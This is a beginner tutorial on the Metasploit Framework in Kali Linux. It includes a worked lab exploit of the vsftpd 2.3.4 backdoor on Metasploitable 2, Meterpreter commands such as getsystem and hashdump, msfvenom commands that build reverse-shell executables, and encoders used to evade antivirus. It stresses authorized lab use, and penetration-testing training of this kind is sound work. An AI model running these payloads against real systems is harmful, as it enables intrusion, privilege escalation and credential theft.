GO KALI FREE
IntermediateTools

How to Use Metasploit: Beginner's Guide to the Metasploit Framework in Kali Linux

Learn how to use Metasploit in Kali Linux: start msfconsole, search modules, run your first lab exploit, and master Meterpreter with a cheat sheet.

#how to use metasploit#what is metasploit#metasploit tutorial#metasploit commands#metasploit cheat sheet#metasploit framework#metasploit kali linux

What Is Metasploit?

Metasploit is an open-source penetration testing framework maintained by Rapid7. It was created by H.D. Moore in 2003 and is now the standard tool for testing whether a known vulnerability can actually be exploited. Instead of writing a separate program for every vulnerability, you work inside one framework that gives you the exploit code, the payloads that run after exploitation, and the post-exploitation tools — all driven from a single console.

The free edition is called the Metasploit Framework. It runs on Kali Linux (where it is pre-installed), macOS, and Windows, and it is the edition this guide covers. Rapid7 also sells a commercial edition, Metasploit Pro, which adds a graphical interface, reporting, and team features — but everything in this guide uses the free Framework, because that is what most learners and penetration testers use day to day.

Metasploit organizes everything into modules. There are more than 2,300 exploit modules alone, plus thousands of auxiliary, payload, encoder, and post-exploitation modules. You search for the module that matches the vulnerability you found, configure its options, and run it. If the target is vulnerable, the module opens a session — usually a Meterpreter session — that lets you explore the system, gather evidence, and prove the impact of the vulnerability.

Use Metasploit only against systems you own or systems you have written authorization to test. A lab virtual machine such as Metasploitable 2 exists exactly for this: it is intentionally vulnerable, so you can practice every step in this guide safely and legally.

Why You Need Metasploit

You need to test whether a known vulnerability can be exploited against a target system — Metasploit provides the framework, exploits, payloads, and post-exploitation modules in one platform. It standardizes how exploits work, letting you focus on the target rather than building tools from scratch.

Prerequisites

  • Understanding of networking and common protocols
  • Knowledge of vulnerabilities and exploitation concepts
  • A lab environment with vulnerable targets
  • Written authorization for any target
  • Kali Linux with Metasploit installed (it is pre-installed on Kali)
  • A Metasploitable 2 virtual machine for the worked example in this guide
  • How to Use Metasploit in 6 Steps

    This is the workflow you will repeat for almost every Metasploit task. Learn it once and every exploit follows the same shape.

    Step 1: Start the database and the console

    Metasploit stores scan results in a PostgreSQL database. Start the database service, initialize it the first time you use it, then launch the console:

    sudo systemctl start postgresql
    msfdb init
    msfconsole
    

    The msfdb init step only runs once — it creates the database user and the database. After that, starting PostgreSQL and running msfconsole is enough. When the console loads you will see the msf6 > prompt and a banner with the module counts.

    Step 2: Find a vulnerability first

    Metasploit does not find vulnerabilities for you. You start from a vulnerability you already know about — from a scan with Nmap, from a vulnerability scanner, or from a lab target you know is vulnerable. If you need to scan from inside Metasploit, run Nmap through the database so the results are stored:

    msf6 > db_nmap -sV 192.168.1.100
    

    Check what the scan found with hosts and services. The open ports and service versions tell you which exploit modules to look for.

    Step 3: Search for a module

    Search by service name, CVE number, or keyword. These are the searches you will use most:

    msf6 > search vsftpd
    msf6 > search type:exploit platform:windows smb
    msf6 > search cve:2017 name:eternalblue
    

    The results list module paths, a short description, and a rank. The rank (Excellent, Great, Good, Normal, Average, Low, Manual) tells you how reliable the exploit is expected to be. Prefer Excellent and Great modules while you are learning.

    Step 4: Select the module and read its information

    Load a module with use, then read what it needs before you run it:

    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
    

    The info output shows the module description, the vulnerability it targets, its references, and its targets. The show options output lists every option the module needs and which ones are required — typically RHOSTS (the target) and sometimes RPORT (the port).

    Step 5: Set the options and the payload

    Set the target address and choose a payload. show payloads lists the payloads that work with the selected exploit:

    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
    

    For a reverse shell payload you also set LHOST (your Kali machine's address, the one the target can reach) and LPORT (the port your machine listens on). For a bind payload the target listens instead. Check your settings with show options before you run anything — most failed exploits are a wrong RHOSTS, a wrong LHOST, or a payload built for the wrong architecture.

    Step 6: Run the exploit and handle the session

    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
    

    If the target is vulnerable, Metasploit opens a session. For a command payload you land straight in a shell; for a Meterpreter payload you land in a Meterpreter session. From there you gather evidence — who you are, what the system is, what data is reachable — and then you document it. When you are done, type exit in the session or background to keep the session and return to the console. List open sessions any time with sessions -l and return to one with sessions -i 1.

    Metasploit Architecture

    Metasploit is built from six module types. Each type does one job, and an exploit chains them together.

    Module typeWhat it doesExample
    ExploitTakes advantage of a specific vulnerabilityexploit/unix/ftp/vsftpd_234_backdoor
    PayloadCode that runs on the target after exploitationwindows/meterpreter/reverse_tcp
    AuxiliaryScanning, fuzzing, and information gathering (no exploit)auxiliary/scanner/portscan/tcp
    EncoderTransforms a payload to evade signature-based detectionx86/shikata_ga_nai
    PostPost-exploitation tasks on an open sessionpost/linux/gather/enum_users
    NOPKeeps payload sizes aligned so the exploit lands correctlyx86/opty2

    Newer Metasploit versions also add evasion modules, which generate payloads designed to avoid antivirus detection. The console that ties all of this together is msfconsole. Behind it sits the PostgreSQL database (started with msfdb init), which stores hosts, services, credentials, and loot so your findings survive between sessions. Payloads are generated by msfvenom, a standalone tool covered later in this guide.

    Exploit: Module that takes advantage of a vulnerability.

    Payload: Code that runs on the target after exploitation.

    Auxiliary: Modules for scanning, fuzzing, and information gathering.

    Encoder: Transforms payloads to evade detection.

    Post: Modules for post-exploitation activities.

    Installation

    Metasploit comes pre-installed on Kali Linux, so on Kali you can skip straight to starting it. On Debian-based systems without it, install the framework package:

    sudo apt update
    sudo apt install metasploit-framework
    

    After installation, initialize the database once before your first run:

    sudo systemctl start postgresql
    msfdb init
    

    If msfdb init reports that the database already exists, it was already set up and you can move on. Keep Metasploit updated with sudo apt update && sudo apt upgrade metasploit-framework on Kali, or msfupdate on installations that support it — new exploit modules are added every week, and an outdated framework misses the modules for newer vulnerabilities.

    Starting Metasploit

    Start the database service first, then launch the console:

    sudo systemctl start postgresql
    msfconsole
    

    The first launch takes longer than later ones because Metasploit loads its module database. Once the msf6 > prompt appears, check that the database is connected:

    msf6 > db_status
    

    You should see a message that you are connected to the database. If it says you are not connected, run msfdb init (or msfdb reinit if the database is broken) and restart the console. Without the database, db_nmap, hosts, services, and vulns will not work, and your scan results will not be saved.

    Basic msfconsole Commands

    These are the commands you will use in almost every session. Learn them in this order and the rest of the framework follows naturally.

    help                          # Show available commands
    search apache                 # Search for modules
    use exploit/multi/handler     # Select a module
    show options                  # Show module configuration
    show payloads                 # List compatible payloads
    set RHOSTS 192.168.1.100     # Set a target
    set LHOST 10.0.0.5           # Set your IP
    run                           # Execute the module
    sessions -l                   # List active sessions
    sessions -i 1                 # Interact with session 1
    

    A few more you will reach for constantly: back leaves the current module and returns to the main prompt; info shows the selected module's description, options, and references; check tests whether the target is vulnerable without exploiting it; show targets lists the target systems a module supports and set TARGET 0 picks one; unset RHOSTS clears a single option, while setg LHOST 10.0.0.5 sets a value globally so every module you load afterwards inherits it. Type exit to leave the console.

    Exploitation Workflow

    msf6 > use auxiliary/scanner/portscan/tcp
    msf6 > set RHOSTS 192.168.1.100
    msf6 > run
    
    msf6 > search vsftpd
    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
    msf6 > set RHOSTS 192.168.1.100
    msf6 > set PAYLOAD cmd/unix/interact
    msf6 > run
    
    terminal screenshot
    [metasploit-exploit-session] — Metasploit console showing successful exploit and opened Meterpreter session
    Figure 1: Metasploit exploit execution with Meterpreter session established

    Worked Example: Your First Lab Exploit with Metasploitable 2

    This example runs the complete 6-step workflow against Metasploitable 2, an intentionally vulnerable Ubuntu virtual machine built for training. Run it only in your own lab, on a host-only or isolated virtual network. Metasploitable 2's default login is msfadmin / msfadmin — those are the lab's public training credentials, and you should change them if you ever expose the VM outside your lab.

    Step 1 — Start Metasploit and confirm the database.

    sudo systemctl start postgresql
    msfconsole
    msf6 > db_status
    

    Step 2 — Find the vulnerable service. Scan the lab target and look at what is listening. Port 21 is open and the banner reports vsFTPd 2.3.4, a version with a known backdoor:

    msf6 > db_nmap -sV 192.168.1.100
    msf6 > services
    

    Sample output (illustrative):

    192.168.1.100  21/tcp  open  ftp  vsFTPd 2.3.4
    192.168.1.100  22/tcp  open  ssh  OpenSSH 4.7p1
    192.168.1.100  80/tcp  open  http  Apache 2.2.8
    

    Step 3 — Search for the matching module.

    msf6 > search vsftpd
    

    The search returns exploit/unix/ftp/vsftpd_234_backdoor, ranked Excellent. That rank means the exploit is reliable and safe to use in a lab.

    Step 4 — Load the module and read its options.

    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
    

    The info output confirms the module targets the backdoor in vsFTPd 2.3.4. The options show RHOSTS as required and RPORT defaulting to 21.

    Step 5 — Set the target and the payload.

    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
    

    Double-check the options: RHOSTS is your lab target, RPORT is 21, and the payload is the Unix command shell. Nothing here points at a real system.

    Step 6 — Run the exploit and prove the result.

    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
    

    Sample output (illustrative):

    [*] 192.168.1.100:21 - Banner: 220 (vsFTPd 2.3.4)
    [*] 192.168.1.100:21 - USER: 331 Please specify the password.
    [*] Found the port, sending backdoor command...
    [*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:21)
    

    You now have a command shell on the lab target. Prove what you have, the way a penetration tester would:

    id
    uname -a
    pwd
    

    Sample output (illustrative):

    uid=0(root) gid=0(root)
    Linux metasploitable 2.6.24-16-server
    /
    

    The shell runs as root, which is the evidence that the vulnerability is real and critical: anyone who can reach the FTP service can take over the machine. In a real report you would record the module used, the commands run, and this output, then recommend upgrading vsFTPd and removing the backdoored version.

    Finish the session cleanly:

    exit
    msf6 > sessions -l
    

    If you want to keep the session for later, type background inside the session instead of exit, then return to it with sessions -i 1.

    Meterpreter Basics

    Meterpreter is the payload you will use most. It runs entirely in memory on the target, gives you a rich command set, and lets you move between the target and your console without dropping a new shell each time. When an exploit offers a Meterpreter payload, choose it over a plain shell.

    meterpreter > sysinfo
    meterpreter > getuid
    meterpreter > ps
    meterpreter > getsystem
    meterpreter > hashdump
    meterpreter > shell
    

    The commands you will use most, and what each one does:

  • sysinfo — shows the target's operating system, computer name, and architecture. Run this first in every session.
  • getuid — shows who you are on the target (NT AUTHORITY\SYSTEM on Windows, uid=0(root) on Linux).
  • ps — lists running processes. You need a process list before you can migrate into a stable process.
  • migrate <pid> — moves your Meterpreter session into another process so it survives if the original process dies.
  • getsystem — attempts privilege escalation to SYSTEM on Windows using named pipe impersonation or token duplication.
  • hashdump — dumps password hashes from the target so you can crack them offline with a tool like Hashcat.
  • download <file> and upload <file> — move files between your machine and the target.
  • shell — drops you into a normal command shell on the target. Type exit to return to Meterpreter.
  • background — puts the session in the background and returns you to the msf6 > prompt. Get it back with sessions -i <id>.
  • portfwd add -l 8080 -p 80 -r 192.168.1.100 — forwards a port on the target through your session so you can reach services that are not directly exposed.
  • If a plain shell session is open and you want Meterpreter instead, upgrade it from the console with sessions -u 1 — Metasploit injects a Meterpreter payload into the existing session.

    Payloads: Staged vs Stageless and msfvenom

    Every exploit needs a payload, and the two decisions that matter are staged versus stageless, and which payload type to use.

    Staged payloadStageless payload
    How it worksSends a small loader, then downloads the full payload over a second connectionContains the entire payload in one piece
    Examplewindows/meterpreter/reverse_tcpwindows/meterpreter_reverse_tcp
    SizeSmall — fits where space is tightLarger
    ReliabilityNeeds the second connection to succeedWorks with a single connection
    DetectionThe small first stage can slip past size-based checksEasier for a scanner to fingerprint

    For a reverse shell the target connects back to you, which bypasses inbound firewall rules on the target. For a bind shell the target listens on a port you connect to, which most firewalls and NAT setups block — so reverse shells are the default choice in practice.

    msfvenom is Metasploit's standalone payload generator. It builds a payload as a file you can deliver to a lab target — for example, a test executable for a malware-analysis lab, or a payload for a handler you run yourself:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > shell.exe
    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf
    

    The flags: -p picks the payload, LHOST/LPORT are the address and port the payload connects back to, -f sets the output format, and -e x86/shikata_ga_nai adds an encoder to change the payload's signature. The payload must match the target's architecture and operating system — a Windows exe will not run on Linux, and a 64-bit payload will not run on a 32-bit target.

    To catch the connection your generated payload makes, start a handler in Metasploit before you run the payload:

    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set LHOST 192.168.1.5
    msf6 exploit(multi/handler) > set LPORT 4444
    msf6 exploit(multi/handler) > run
    

    When the lab target runs the payload, the handler opens a Meterpreter session. Generate payloads only for systems you own or have authorization to test, and keep generated test files inside your lab.

    Using the Metasploit Database

    The database turns Metasploit from a console into a workspace. Every host you scan, every service you find, and every credential you recover is stored and searchable across sessions.

    msf6 > db_nmap -sV 192.168.1.100
    msf6 > hosts
    msf6 > services
    msf6 > vulns
    msf6 > notes
    msf6 > loot
    
  • hosts lists every target the database knows about, with its operating system guess.
  • services lists every open port and service version found, per host.
  • vulns lists vulnerabilities matched to hosts from your scans and imports.
  • notes shows the notes Metasploit and its modules attach to hosts and services.
  • loot lists files and data collected from targets, such as downloaded hashes.
  • Workspaces keep engagements separate. Start a new workspace for each lab or client so one project's hosts never mix with another's:

    msf6 > workspace -a lab-vsftpd
    msf6 > workspace
    msf6 > workspace -d old-project
    

    Manage the database itself from your shell with msfdb status (is it running?), msfdb init (first-time setup), msfdb reinit (rebuild a broken database), and msfdb delete (remove it entirely). If db_status inside the console says you are not connected, the database service is the first thing to check.

    Metasploit Commands Cheat Sheet

    Keep this table open while you practice. It covers the commands from this guide plus the ones you will reach for next.

    CommandWhat it does
    msfconsoleStart the Metasploit console
    helpShow available commands
    search <term>Search for modules by name, CVE, or keyword
    search type:exploit platform:windowsSearch filtered by module type and platform
    use <module>Select a module
    backLeave the current module
    infoShow the selected module's description, options, and references
    show optionsShow the selected module's configuration
    show advanced optionsShow hidden and advanced options
    show payloadsList payloads compatible with the selected exploit
    show targetsList target systems the module supports
    show exploits / show auxiliaryList all exploit or auxiliary modules
    set <OPTION> <value>Set one option for the current module
    setg <OPTION> <value>Set an option globally for all modules
    unset <OPTION>Clear one option
    checkTest whether the target is vulnerable without exploiting it
    run / exploitExecute the selected module
    sessions -lList open sessions
    sessions -i <id>Interact with a session
    sessions -u <id>Upgrade a shell session to Meterpreter
    sessions -k <id>Kill a session
    db_nmap <args>Run Nmap and store results in the database
    hosts / services / vulnsShow stored hosts, services, and vulnerabilities
    workspace -a <name>Create a new workspace
    jobs -lList background jobs
    load <plugin>Load a Metasploit plugin
    exitLeave the console

    Troubleshooting Metasploit Problems

    Most Metasploit failures have one of a handful of causes. Work through this table before you assume the exploit itself is broken.

    ProblemLikely causeFix
    db_status says not connectedPostgreSQL is not running or the database was never initializedsudo systemctl start postgresql, then msfdb init (or msfdb reinit) and restart the console
    msfconsole is very slow to start the first timeThe module database is being builtWait for it — the first launch is always the slowest; later launches are fast
    "Exploit completed, but no session was created"Wrong payload or architecture, target not actually vulnerable, or a firewall blocked the connectionRun check first, confirm the target version with show options, match the payload architecture, and confirm LHOST is reachable from the target
    The exploit runs but nothing happensThe module's target setting does not match the target systemRun show targets, pick the right one with set TARGET <number>, and re-run
    LHOST connection never arrivesYour Kali address is behind NAT or the target cannot route back to itSet LHOST to the Kali address on the same network as the target; on NAT, use port forwarding or a bridged network
    "Module not found" when you use a moduleTypo in the path, or your framework is out of dateCopy the exact path from search, and update with sudo apt update && sudo apt upgrade metasploit-framework
    Meterpreter session dies immediatelyThe payload process was killed, or you migrated into an unstable processUse migrate into a long-lived process such as explorer.exe on Windows, or re-run the exploit and background the session quickly
    msfvenom payload does nothing on the targetWrong format, architecture, or platform for the targetRegenerate with the right -f format and payload for the target OS and architecture, and confirm the handler is listening before you run it

    Metasploit vs Nmap

    Beginners often ask whether Metasploit replaces Nmap. It does not — the two tools do different jobs and are normally used together.

    NmapMetasploit
    PurposeNetwork discovery and service scanningExploitation and post-exploitation
    Main question it answersWhat is running on this network?Can this vulnerability be exploited, and what can I do afterwards?
    Typical first commandnmap -sV 192.168.1.100msfconsole, then search
    OutputOpen ports, service versions, OS guessesSessions, shells, evidence of impact
    Can it scan?Yes — that is its jobYes, through db_nmap and auxiliary scanners, but scanning is not its strength
    Can it exploit?No (beyond NSE scripts that check for vulnerabilities)Yes — that is its job

    The normal workflow is: scan with Nmap, feed the results into Metasploit with db_nmap, search for exploit modules matching the vulnerable services, and exploit them. Metasploit's own port scanner (auxiliary/scanner/portscan/tcp) is useful for a quick check inside a session, but for a full scan Nmap is faster and more complete.

    Common Mistakes

  • Running without a database. Metasploit works without PostgreSQL, but you lose db_nmap, hosts, services, and every result you collected. Initialize it once with msfdb init and start PostgreSQL before the console.
  • Wrong payload selection. A Windows payload on a Linux target, or a 32-bit payload on a 64-bit target, fails silently with "no session was created". Always check show payloads and match the payload to the target's platform and architecture.
  • Forgetting LHOST on a NAT network. A reverse shell needs the target to reach your machine. If Kali is behind NAT, LHOST must be an address the target can actually route to — use a bridged network or port forwarding in your lab.
  • Testing without authorization. Running an exploit against a system you do not own and have no written permission to test is illegal in most countries, even if the target is vulnerable. Keep every test inside your own lab.
  • Using public exploits blindly. Always read info before you run a module, and run check when the module supports it. An exploit for the wrong version can crash the target service instead of opening a session.
  • Skipping show options. Required options are marked in the output. Running a module with RHOSTS unset, or with the default LPORT clashing with another service, is the most common beginner failure.
  • Not backgrounding sessions. If you exit a Meterpreter session you lose it. Use background to keep it and sessions -i <id> to return to it.
  • Best Practices

  • Use the database. Start PostgreSQL, initialize it once, and use db_nmap so every scan is stored. Use workspaces to keep labs and engagements separate.
  • Use resource scripts. Save repeated setup commands in a .rc file and run them with msfconsole -r setup.rc — one command reproduces your whole lab setup.
  • Stage payloads. Prefer staged payloads such as windows/meterpreter/reverse_tcp when space is tight, and stageless payloads when you need a single reliable connection.
  • Verify before you exploit. Read the module's info, check its rank, run check when available, and confirm the target version matches. A verified exploit is evidence; a blind one is a crash risk.
  • Practice in a lab. Metasploitable 2, DVWA, and Hack The Box machines exist so you can practice exploitation legally. Never point Metasploit at a production system.
  • Document everything. Record the module, the options, the commands, and the output for every finding. A penetration test is only as good as its report, and Metasploit's database and loot give you the raw material.
  • Keep Learning

  • Reverse Shell Guide
  • Netcat Guide
  • Nmap Beginner Tutorial
  • Ethical Hacking Fundamentals
  • Command Injection
  • Linux Privilege Escalation Guide
  • Windows Privilege Escalation Guide
  • Reverse Engineering Guide
  • Metasploit Framework
  • Nmap
  • MSFVenom
  • Searchsploit
  • Summary

    Metasploit is the most comprehensive exploitation framework available. Learning how to use Metasploit means learning one repeatable workflow: start the console, find a vulnerability, search for the matching module, set its options and payload, run it, and work the session that opens. Its payloads include the reverse-shell callbacks explained in our Reverse Shell Guide, and Meterpreter gives you the post-exploitation commands to prove the impact of what you found. Practice every step in your own lab — Metasploitable 2 is built for exactly that — and never point Metasploit at a system you do not own or have written permission to test.

    Knowledge Check

  • What is the difference between staged and stageless payloads?
  • What does Meterpreter's getsystem command do?
  • Why use the database in Metasploit?
  • What is an encoder's purpose?
  • How do you search for modules?
  • What are the six steps of the Metasploit workflow?
  • In the worked example, which exploit module targets the vsftpd 2.3.4 backdoor, and what payload does it use?
  • What does msfvenom do, and how is it different from msfconsole?
  • Answers: 1. Staged payloads send a small loader that downloads the full payload over a second connection, while stageless payloads contain the entire payload in one piece. 2. The getsystem command attempts privilege escalation to SYSTEM on Windows using named pipe impersonation or token duplication. 3. The database stores hosts, services, vulnerabilities, and loot across sessions, so scan results are saved and searchable instead of lost when the console closes. 4. An encoder transforms a payload to evade signature-based detection by antivirus and IDS/IPS. 5. Use the search command with keywords, and filter by type, platform, or CVE — for example, search type:exploit platform:windows smb. 6. Start the database and console, find a vulnerability, search for a module, select it and read its info, set the options and payload, then run it and handle the session. 7. The module is exploit/unix/ftp/vsftpd_234_backdoor with the cmd/unix/interact payload. 8. msfvenom is a standalone payload generator that builds payload files, while msfconsole is the interactive console for running modules and managing sessions.

    References

    [metasploit-docs]

    [kali-tools]

    [mitre-attack-enterprise]

    Frequently Asked Questions

    What is Metasploit Framework?

    Metasploit is an open-source exploitation framework by Rapid7 used for developing and executing exploits against target systems. It includes thousands of modules for exploits, payloads, auxiliary scanning, encoding, and post-exploitation.

    What is the difference between staged and stageless payloads?

    Staged payloads (like windows/meterpreter/reverse_tcp) send a small loader that downloads the full payload, helping evade size-based detection. Stageless payloads (like windows/meterpreter_reverse_tcp) contain the entire payload in one piece, which is larger but doesn't require a second connection.

    What does Meterpreter's getsystem command do?

    The getsystem command attempts to elevate privileges to SYSTEM using techniques like named pipe impersonation or token duplication. It tries multiple methods until one succeeds, giving you the highest privilege level on the target.

    Why should I use Metasploit's database?

    Running msfdb init starts PostgreSQL and creates a database that stores hosts, services, and credentials found during testing. This lets you run db_nmap, query results with services, and track findings across sessions without re-scanning.

    What is the purpose of an encoder in Metasploit?

    Encoders transform payloads to avoid signature-based detection by antivirus and IDS/IPS. They XOR or substitute bytes to produce unique output each time, but modern AV uses emulation to decode and detect them, so encoders alone are rarely sufficient.

    How do you search for modules in Metasploit?

    Use the search command followed by keywords like search eternalblue or search type:exploit platform:windows smb. Filter by type (exploit, auxiliary, payload), platform, or target service to find relevant modules.

    What is the difference between reverse and bind shells?

    A reverse shell (payload reverse_tcp) makes the target connect back to your listener, bypassing inbound firewall rules. A bind shell (bind_tcp) opens a port on the target you connect to, which is blocked by most firewalls and NAT.

    What is msfconsole?

    msfconsole is Metasploit's interactive command-line interface that provides access to all modules, the database, and scripting via resource scripts. It is the primary interface for running exploits, managing sessions, and interacting with Meterpreter.

    How do you handle a Meterpreter session?

    After exploitation, use sessions -l to list active sessions and sessions -i 1 to interact with session 1. From Meterpreter, run sysinfo for system info, getuid for current user, hashdump for password hashes, and shell for a standard command prompt.

    What is a resource script in Metasploit?

    Resource scripts are text files containing msfconsole commands executed sequentially. Use them to automate repetitive tasks like scanning, exploitation workflows, or repeated setups with msfconsole -r script.rc.

    How do I install Metasploit on Kali Linux?

    Metasploit comes pre-installed on Kali Linux, so you can start it with msfconsole right away. On Debian-based systems without it, run sudo apt update and then sudo apt install metasploit-framework, then start PostgreSQL and run msfdb init once to set up the database.

    How do I use Metasploit to scan for vulnerabilities?

    Metasploit does not find vulnerabilities on its own. Scan first with Nmap or run db_nmap from inside msfconsole so the results are stored, then use the search command to find an exploit module for the service and version you found, and run check to test whether the target is vulnerable before exploiting it.

    Is Metasploit legal to use?

    Yes, when you use it against systems you own or have written authorization to test. Metasploit is a professional penetration testing tool used by security teams worldwide. Running it against systems without permission is illegal in most countries, so keep all practice inside your own lab, for example on a Metasploitable 2 virtual machine.

    What is the difference between Metasploit and Nmap?

    Nmap is a scanner: it discovers hosts, open ports, and service versions. Metasploit is an exploitation framework: it takes a known vulnerability and exploits it, then gives you a session to work with. The normal workflow is to scan with Nmap first, then exploit what you found with Metasploit.

    What is msfvenom and how is it different from msfconsole?

    msfvenom is a standalone payload generator that builds a payload as a file, for example a Windows exe or a Linux elf that connects back to your machine. msfconsole is the interactive console where you search for modules, run exploits, and manage sessions. You generate a payload with msfvenom and catch its connection with a handler in msfconsole.

    Continue Learning

    Tools · Beginner

    How to Use Dirb: Beginner's Guide to Directory Brute-Forcing in Kali Linux

    Learn how to use Dirb in Kali Linux: run your first directory scan, pick the right wordlist, and read the results — with a worked example and cheat sheet.

    Tools · Beginner

    How to Use FFUF: Beginner's Guide to Fast Web Fuzzing in Kali Linux

    Learn how to use FFUF in Kali Linux — directory, subdomain and vhost fuzzing, parameter testing, filters and a worked DVWA example, with a cheat sheet.

    Tools · Beginner

    How to Use Gobuster: Beginner's Guide to Directory, DNS & VHost Enumeration in Kali Linux

    Learn how to use Gobuster in Kali Linux — dir, DNS and vhost modes, wordlists, and a worked DVWA example, with a cheat sheet and troubleshooting.

    Tools · Beginner

    How to Use Netcat: Beginner's Guide to the nc Command in Kali Linux

    How to use Netcat (nc) in Kali Linux: test ports, run a listener, grab banners, transfer files, and catch a reverse shell — worked example and cheat sheet.

    Related Security Tools

    Information Gathering

    Nmap

    Learn how to use Nmap, the free open-source network scanner: run your first port scan, discover live hosts, detect services and operating systems, and check for vulnerabilities with NSE scripts — a beginner tutorial for Kali Linux.

    Web Application

    Burp Suite

    Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.

    Exploitation

    Metasploit Framework

    Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.

    Exploitation

    MSFVenom

    MSFVenom is a standalone payload generator and encoder utility within the Metasploit Framework, first introduced in Metasploit 4.0 (2015) to replace the legacy msfpayload and msfencode tools with a single unified interface. It enables security professionals, penetration testers, and students to create, customize, and encode payloads for multiple platforms including Windows, Linux, macOS, Android, and PHP. MSFVenom is widely used in CTF competitions, security training labs, authorized penetration testing engagements, and red team operations to generate reverse shells, Meterpreter payloads, shellcode, and encoded executables. Understanding MSFVenom helps both offensive and defensive security professionals learn payload construction techniques, encoding methods, and detection strategies used in modern cybersecurity.

    Written by GO KALI FREE Team